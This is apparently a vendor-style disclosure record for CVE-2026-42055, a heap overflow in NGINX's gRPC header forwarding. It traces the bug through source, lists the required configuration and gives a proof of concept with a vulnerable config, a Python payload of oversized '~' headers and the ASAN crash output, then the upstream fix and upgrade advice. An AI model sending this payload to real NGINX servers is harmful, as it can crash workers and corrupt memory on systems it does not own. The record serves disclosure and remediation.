Skip to content
winfunc
Disclosure record · NGINX

gRPC forwarded headers can overflow the upstream HPACK request buffer (CVE-2026-42055)

NGINX gRPC upstream sizing reserved four HPACK length bytes but serialized larger raw header strings with five

NGINXCVE-2026-42055DisclosedSource record

CVSS 3.1 base score

High
8.1/ 10

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Record

Project
NGINX
Severity
High8.1
CVE
CVE-2026-42055
Disclosed
Trace
7 steps

Summary

Source

ngx_http_process_request_header()

src/http/ngx_http_request.c:1519

Sink

ngx_http_grpc_create_request()

src/http/modules/ngx_http_grpc_module.c:1128

When an HTTP/1.x request reaches a grpc_pass location, NGINX forwards client request headers by default. Before the fix, ngx_http_grpc_create_request() sized each forwarded header name and value with the fixed NGX_HTTP_V2_INT_OCTETS allowance of four HPACK integer bytes, then later serialized the same strings through the variable-length HPACK encoder.

If ignore_invalid_headers off allowed invalid raw-unfriendly header names to be retained, and large_client_header_buffers allowed multi-megabyte header lines, an unauthenticated client could send forwarded header names and values of NGX_HTTP_V2_MAX_FIELD + 1 bytes. For raw HPACK strings at that length, the encoder emits a five-byte length prefix while the allocation budget reserved four. The final request buffer was therefore undersized, and the continuation-frame insertion path could write beyond b->end.

F5 published the issue as CVE-2026-42055 in advisory K000161584, CWE-122, with CVSS 3.1 score 8.1. The public NGINX 1.31.2 changelog describes worker heap memory corruption or segmentation fault when ignore_invalid_headers off and large large_client_header_buffers are used while proxying a crafted request to an HTTP/2 or gRPC backend. NGINX fixed both affected upstream builders in commit 26d824e, merged through PR #1474, and credited Mufeed VH of Winfunc Research.

Severity

Attack vectorAV
Network
Attack complexityAC
High
Privileges requiredPR
None
User interactionUI
None
ScopeS
Unchanged
ConfidentialityC
High
IntegrityI
High
AvailabilityA
High

Metric values as published in the disclosure vector. Meters show how far each value raises exposure.

Source-to-sink trace

  1. Source · attacker-controlledsrc/http/ngx_http_request.c:1519

    ngx_http_process_request_header()

  2. Step 01src/http/ngx_http_parse.c:953

    The HTTP/1.x parser can mark unusual header-name bytes as invalid without immediately rejecting the header line. Bytes such as ~ are useful for this proof because they also force raw HPACK encoding instead of a shorter Huffman representation.

    cpp
    r->invalid_header = 1;
    
    break;
    
  3. Step 02src/http/ngx_http_request.c:1489-1519

    Invalid headers are skipped only when ignore_invalid_headers is enabled. With ignore_invalid_headers off, NGINX keeps the attacker-controlled header name and value lengths in r->headers_in.headers.

    cpp
    if (r->invalid_header && cscf->ignore_invalid_headers) {
        /* skip invalid headers */
        continue;
    }
    
    h->key.len = r->header_name_end - r->header_name_start;
    h->key.data = r->header_name_start;
    h->value.len = r->header_end - r->header_start;
    h->value.data = r->header_start;
    
  4. Step 03src/http/modules/ngx_http_grpc_module.c:4432

    The gRPC upstream configuration passes client request headers by default, so accepted client headers flow into the upstream HTTP/2/gRPC request builder unless explicitly filtered.

    cpp
    ngx_conf_merge_value(conf->upstream.pass_request_headers,
                         prev->upstream.pass_request_headers, 1);
    
  5. Step 04src/http/modules/ngx_http_grpc_module.c:843-846 (before fix)

    The vulnerable sizing pass used a fixed four-octet HPACK integer budget for each forwarded header name and value. That budget is only sound while the HPACK string length is at most NGX_HTTP_V2_MAX_FIELD.

    cpp
    len += 1 + NGX_HTTP_V2_INT_OCTETS + header[i].key.len
             + NGX_HTTP_V2_INT_OCTETS + header[i].value.len;
    
  6. Step 05src/http/v2/ngx_http_v2.h:23-25

    NGX_HTTP_V2_MAX_FIELD is derived from the four-octet HPACK integer allowance. A raw string of 2,097,279 bytes is one byte over that boundary and requires an additional continuation byte.

    cpp
    #define NGX_HTTP_V2_INT_OCTETS           4
    #define NGX_HTTP_V2_MAX_FIELD                                                 \
        (127 + (1 << (NGX_HTTP_V2_INT_OCTETS - 1) * 7) - 1)
    
  7. Step 06src/http/modules/ngx_http_grpc_module.c:1084-1087 (before fix)

    Serialization used the real HPACK string encoder for the same forwarded name and value. ngx_http_v2_write_int() writes as many continuation bytes as the value requires, so the write can exceed the earlier fixed budget.

    cpp
    b->last = ngx_http_v2_write_name(b->last, header[i].key.data,
                                      header[i].key.len, tmp);
    b->last = ngx_http_v2_write_value(b->last, header[i].value.data,
                                       header[i].value.len, tmp);
    
  8. Step 07src/http/modules/ngx_http_grpc_module.c:843-866 (fix, commit 26d824e)

    The upstream fix rejects forwarded header names and values above NGX_HTTP_V2_MAX_FIELD before adding them to the buffer length, restoring the invariant that four reserved HPACK integer octets are enough.

    cpp
    if (header[i].key.len > NGX_HTTP_V2_MAX_FIELD) {
        ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,
                      "too long http2 header name: \"%V\"",
                      &header[i].key);
        return NGX_ERROR;
    }
    
    if (header[i].value.len > NGX_HTTP_V2_MAX_FIELD) {
        ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,
                      "too long http2 header value: \"%V: %V\"",
                      &header[i].key, &header[i].value);
        return NGX_ERROR;
    }
    
    len += 1 + NGX_HTTP_V2_INT_OCTETS + header[i].key.len
             + NGX_HTTP_V2_INT_OCTETS + header[i].value.len;
    
  9. Sinksrc/http/modules/ngx_http_grpc_module.c:1128

    ngx_http_grpc_create_request()

Impact

Reported impact

The demonstrated impact is a remote, unauthenticated heap out-of-bounds write in an NGINX worker process under restrictive non-default configuration. The ASAN proof aborts the worker in ngx_http_grpc_create_request(), confirming availability impact and heap memory corruption. The public CVE record states that code execution is possible when ASLR is disabled or bypassed; this entry does not claim a completed production code-execution exploit.

Attack surface

NGINX Open Source and NGINX Plus deployments with a reachable grpc_pass location. The public CVE record lists affected Open Source ranges as 1.13.10 before 1.31.2 on mainline and 1.30.2 before 1.30.3 on stable, with NGINX Plus R36 and R37 patch ranges also affected.

Preconditions

The location must use grpc_pass; request-header forwarding must remain enabled; ignore_invalid_headers off must allow invalid raw header names to be retained; and large_client_header_buffers must allow header lines larger than 2 MiB. Default NGINX settings block this exact trigger because invalid headers are ignored and large header buffers are much smaller.

Attack path

  1. 1

    Send an HTTP/1.x request to a vulnerable grpc_pass location.

  2. 2

    Include forwarded headers whose names and values are NGX_HTTP_V2_MAX_FIELD + 1 raw-unfriendly bytes such as ~.

  3. 3

    ignore_invalid_headers off keeps the invalid header names instead of skipping them.

  4. 4

    The gRPC request builder allocates an upstream request buffer using four HPACK integer bytes for each name and value length.

  5. 5

    The real HPACK encoder emits five length bytes for each oversized raw name and value, and continuation-frame insertion writes beyond the allocated buffer.

Proof of concept

Reproduction5 stages
  1. 01

    Environment setup

    Build a vulnerable NGINX revision before commit 26d824e, such as e8053c867f9ab14f323e3019ccab585d857abb66, with ASAN and HTTP/2 support:

    bash
    ./auto/configure --with-http_v2_module --with-debug \
      --with-cc-opt='-O1 -g -fsanitize=address -fno-omit-frame-pointer' \
      --with-ld-opt='-fsanitize=address'
    make -j"$(getconf _NPROCESSORS_ONLN 2>/dev/null || sysctl -n hw.ncpu)"
    
  2. 02

    Target configuration

    Run a disposable localhost-only server with invalid headers retained and very large header buffers:

    nginx
    worker_processes 1;
    master_process off;
    daemon off;
    error_log stderr debug;
    
    events { worker_connections 1024; }
    
    http {
        access_log off;
        ignore_invalid_headers off;
        large_client_header_buffers 8 5m;
    
        server {
            listen 127.0.0.1:<front_port>;
            location / {
                grpc_set_header Host "";
                grpc_pass grpc://127.0.0.1:<unused_loopback_port>;
            }
        }
    }
    
  3. 03

    Exploit delivery

    Send a request containing two forwarded headers where both the name and value are 2,097,279 ~ bytes:

    python
    payload = bytearray(b"GET /x HTTP/1.1\r\nHost: localhost\r\n")
    for _ in range(2):
        payload.extend(b"~" * 2097279)
        payload.extend(b": ")
        payload.extend(b"~" * 2097279)
        payload.extend(b"\r\n")
    payload.extend(b"Connection: close\r\n\r\n")
    
    sock.sendall(payload)
    

    The proof model reported allocated=8393824, final_size=8393825, and overflow_bytes=1 for the corrected trigger. A short-name/value-only control stayed below the allocation.

  4. 04

    Expected response

    A vulnerable ASAN build aborts in the worker with:

    text
    ERROR: AddressSanitizer: heap-buffer-overflow
    WRITE of size 536
    ngx_http_grpc_create_request ngx_http_grpc_module.c:1128
    SUMMARY: AddressSanitizer: heap-buffer-overflow ngx_http_grpc_module.c:1128 in ngx_http_grpc_create_request
    
  5. 05

    Outcome

    The ASAN report confirms heap memory corruption while constructing the upstream gRPC request. After commit 26d824e, the oversized header name or value is rejected before allocation and serialization, so no worker abort or ASAN heap-buffer-overflow should occur.

Remediation

Guidance

Upgrade NGINX Open Source to 1.31.2+ or 1.30.3+, or apply commit 26d824ec3a2f819300edce0ab3b055751c9843ff. For NGINX Plus, apply the relevant R36/R37 patched release from the F5 advisory. As operational defense in depth, keep ignore_invalid_headers on, keep large_client_header_buffers near the default unless large headers are strictly required, and disable or filter request-header forwarding for gRPC locations that do not need untrusted client headers.

Before and after−8+16
len += 1 + NGX_HTTP_V2_INT_OCTETS + header[i].key.len         + NGX_HTTP_V2_INT_OCTETS + header[i].value.len; /* later */b->last = ngx_http_v2_write_name(b->last, header[i].key.data,                                  header[i].key.len, tmp);b->last = ngx_http_v2_write_value(b->last, header[i].value.data,                                   header[i].value.len, tmp);if (header[i].key.len > NGX_HTTP_V2_MAX_FIELD) {    ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,                  "too long http2 header name: \"%V\"",                  &header[i].key);    return NGX_ERROR;} if (header[i].value.len > NGX_HTTP_V2_MAX_FIELD) {    ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,                  "too long http2 header value: \"%V: %V\"",                  &header[i].key, &header[i].value);    return NGX_ERROR;} len += 1 + NGX_HTTP_V2_INT_OCTETS + header[i].key.len         + NGX_HTTP_V2_INT_OCTETS + header[i].value.len;
View original source record

Check the upstream record for the project's current remediation status.

Your codebase

Investigate the paths that matter in your codebase.

Winfunc can trace relevant code paths, preserve supporting evidence, and prepare remediation suggestions for engineering review within an agreed scope.